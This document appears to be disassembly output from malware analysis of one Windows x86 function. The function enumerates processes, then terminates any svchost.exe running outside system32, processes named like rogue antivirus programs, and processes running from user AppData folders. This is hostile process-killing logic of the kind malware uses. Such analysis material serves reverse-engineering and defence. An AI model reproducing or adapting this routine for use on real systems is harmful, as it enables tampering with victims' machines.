Function at 0x43dbe0
Capabilities:
Enumerate processes
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x441a05
mov eax, dword fs:[0]
push eax
sub esp, 0x5d8
mov eax, dword [0x4504f4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x488], eax
mov dword [ebp - 0x48c], 0
xor eax, eax
mov word [ebp - 0x21c], ax
push 0x206
push 0
lea ecx, [ebp - 0x21a]
push ecx
call fcn.00429240
add esp, 0xc
push 0x104
lea edx, [ebp - 0x21c]
push edx
push str._windir__system32_svchost.exe
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x484]
call fcn.0040f190
mov dword [ebp - 4], 0
mov eax, str._AppData_
lea ecx, [ebp - 0x238]
call fcn.00401b60
mov byte [ebp - 4], 1
lea eax, [ebp - 0x238]
push eax
call fcn.0043db30
add esp, 4
lea ecx, [ebp - 0x238]
push ecx
lea ebx, [ebp - 0x484]
call fcn.0040e760
lea edx, [ebp - 0x238]
push edx
mov eax, str._LOCALAPPDATA_
call fcn.00405850
lea eax, [ebp - 0x238]
push eax
call fcn.0043db30
add esp, 4
lea ecx, [ebp - 0x238]
push ecx
lea ebx, [ebp - 0x484]
call fcn.0040e760
lea edx, [ebp - 0x238]
push edx
mov eax, 0x447500
call fcn.00405850
lea eax, [ebp - 0x238]
push eax
call fcn.0043db30
add esp, 4
lea ecx, [ebp - 0x238]
push ecx
lea ebx, [ebp - 0x484]
call fcn.0040e760
lea edx, [ebp - 0x238]
push edx
mov eax, str._ALLUSERSPROFILE_Application_Data
call fcn.00405850
lea eax, [ebp - 0x238]
push eax
call fcn.0043db30
add esp, 4
lea ecx, [ebp - 0x238]
push ecx
lea ebx, [ebp - 0x484]
call fcn.0040e760
lea edx, [ebp - 0x238]
push edx
mov eax, str._USERPROFILE_Local_SettingsApplication_Data
call fcn.00405850
lea eax, [ebp - 0x238]
push eax
call fcn.0043db30
add esp, 4
lea ecx, [ebp - 0x238]
push ecx
lea ebx, [ebp - 0x484]
call fcn.0040e760
cmp dword [ebp - 0x488], 0xffffffff
je 0x43e2e4
mov dword [ebp - 0x46c], 0x22c
lea edx, [ebp - 0x46c]
push edx
mov eax, dword [ebp - 0x488]
push eax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x43dddd
mov ecx, dword [ebp - 0x488]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x4fc], 0
mov byte [ebp - 4], 0
lea esi, [ebp - 0x238]
call fcn.00401130
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x484]
call fcn.0040f200
mov eax, dword [ebp - 0x4fc]
jmp 0x43e323
cmp dword [ebp - 0x464], 0
je 0x43ddef
cmp dword [ebp - 0x464], 4
jne 0x43ddf4
jmp 0x43e2bc
lea eax, [ebp - 0x448]
lea ecx, [ebp - 0x4a8]
call fcn.00401b60
mov byte [ebp - 4], 2
push str.svchost.exe
lea eax, [ebp - 0x4a8]
call fcn.00401fa0
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x43deed
lea eax, [ebp - 0x4e0]
call fcn.00401110
mov byte [ebp - 4], 3
lea edx, [ebp - 0x4e0]
push edx
sub esp, 0x22c
mov ecx, 0x8b
lea esi, [ebp - 0x46c]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.0043da00
add esp, 0x230
test eax, eax
je 0x43dede
lea eax, [ebp - 0x4e0]
call fcn.00401fa0
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x43dede
mov ecx, dword [ebp - 0x464]
push ecx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x4e4], eax
push 0
mov edx, dword [ebp - 0x4e4]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x43debb
mov eax, dword [ebp - 0x4e4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x43dede
mov byte [ebp - 4], 2
lea esi, [ebp - 0x4e0]
call fcn.00401130
mov byte [ebp - 4], 1
lea esi, [ebp - 0x4a8]
call fcn.00401130
jmp 0x43e2bc
mov byte [ebp - 4], 2
lea esi, [ebp - 0x4e0]
call fcn.00401130
push str.svchast.exe
lea eax, [ebp - 0x4a8]
call fcn.00401fa0
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x43e02e
push str.lsascs.exe
lea eax, [ebp - 0x4a8]
call fcn.00401fa0
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x43e02e
push str.windows_antivirus_pro.exe
lea eax, [ebp - 0x4a8]
call fcn.00401fa0
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x43e02e
push str.contraviro.exe
lea eax, [ebp - 0x4a8]
call fcn.00401fa0
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x43e02e
push str.akm_antivirus_2010_pro.exe
lea eax, [ebp - 0x4a8]
call fcn.00401fa0
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x43e02e
push str.cntprot.exe
lea eax, [ebp - 0x4a8]
call fcn.00401fa0
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x43e02e
push str.xjr_antivirus.exe
lea eax, [ebp - 0x4a8]
call fcn.00401fa0
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x43e02e
push str.sysinternals_antivirus.exe
lea eax, [ebp - 0x4a8]
call fcn.00401fa0
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x43e02e
push str.antivirus7.exe
lea eax, [ebp - 0x4a8]
call fcn.00401fa0
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x43e02e
push str.defcnt.exe
lea eax, [ebp - 0x4a8]
call fcn.00401fa0
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x43e02e
push str.protect.exe
lea eax, [ebp - 0x4a8]
call fcn.00401fa0
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x43e088
mov dword [ebp - 0x48c], 1
mov ecx, dword [ebp - 0x464]
push ecx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x4e8], eax
push 0
mov edx, dword [ebp - 0x4e8]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x43e074
mov eax, dword [ebp - 0x4e8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x43e088
mov byte [ebp - 4], 1
lea esi, [ebp - 0x4a8]
call fcn.00401130
jmp 0x43e2bc
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x500], esp
lea ecx, [ebp - 0x4a8]
push ecx
call fcn.00401ba0
mov dword [ebp - 0x5e0], eax
call fcn.0043d4f0
add esp, 0x1c
mov byte [ebp - 0x5e1], al
movzx edx, byte [ebp - 0x5e1]
test edx, edx
je 0x43e118
mov eax, dword [ebp - 0x464]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x4ec], eax
push 0
mov ecx, dword [ebp - 0x4ec]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x43e104
mov edx, dword [ebp - 0x4ec]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x48c], 1
jmp 0x43e118
mov byte [ebp - 4], 1
lea esi, [ebp - 0x4a8]
call fcn.00401130
jmp 0x43e2bc
lea eax, [ebp - 0x4c4]
call fcn.00401110
mov byte [ebp - 4], 4
lea eax, [ebp - 0x4c4]
push eax
sub esp, 0x22c
mov ecx, 0x8b
lea esi, [ebp - 0x46c]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.0043da00
add esp, 0x230
test eax, eax
je 0x43e29e
push fcn.0042920a
lea ebx, [ebp - 0x508]
lea edi, [ebp - 0x4c4]
call fcn.00407a80
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
lea ebx, [ebp - 0x510]
lea edi, [ebp - 0x4c4]
call fcn.00407ad0
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
lea ebx, [ebp - 0x518]
lea edi, [ebp - 0x4c4]
call fcn.00407a80
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x520]
push eax
call fcn.0040f610
add esp, 0x20
lea eax, [ebp - 0x4c4]
call fcn.00402570
mov esi, eax
lea eax, [ebp - 0x4a8]
call fcn.00402570
sub esi, eax
mov eax, dword [0x4454b0]
mov ebx, esi
lea esi, [ebp - 0x4c4]
call fcn.004024e0
lea esi, [ebp - 0x4f4]
lea edi, [ebp - 0x484]
call fcn.0040e810
jmp 0x43e205
push 0
lea ecx, [ebp - 0x528]
push ecx
lea ecx, [ebp - 0x4f4]
call fcn.0040f240
lea esi, [ebp - 0x530]
lea edi, [ebp - 0x484]
call fcn.0040e830
mov esi, eax
lea edi, [ebp - 0x4f4]
call fcn.0040ecb0
movzx edx, al
test edx, edx
je 0x43e29e
lea eax, [ebp - 0x4c4]
call fcn.00401fa0
push eax
lea ecx, [ebp - 0x4f4]
call fcn.0040f220
call fcn.00401fa0
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x43e299
mov eax, dword [ebp - 0x464]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x4f8], eax
push 0
mov ecx, dword [ebp - 0x4f8]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x43e297
mov edx, dword [ebp - 0x4f8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x48c], 1
jmp 0x43e299
jmp 0x43e29e
jmp 0x43e1f1
mov byte [ebp - 4], 2
lea esi, [ebp - 0x4c4]
call fcn.00401130
mov byte [ebp - 4], 1
lea esi, [ebp - 0x4a8]
call fcn.00401130
lea eax, [ebp - 0x46c]
push eax
mov ecx, dword [ebp - 0x488]
push ecx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x43dddd
mov edx, dword [ebp - 0x488]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x48c], 0
je 0x43e2f2
call fcn.0043d3e0
mov dword [ebp - 0x534], 1
mov byte [ebp - 4], 0
lea esi, [ebp - 0x238]
call fcn.00401130
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x484]
call fcn.0040f200
mov eax, dword [ebp - 0x534]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00427d7d
mov esp, ebp
pop ebp
ret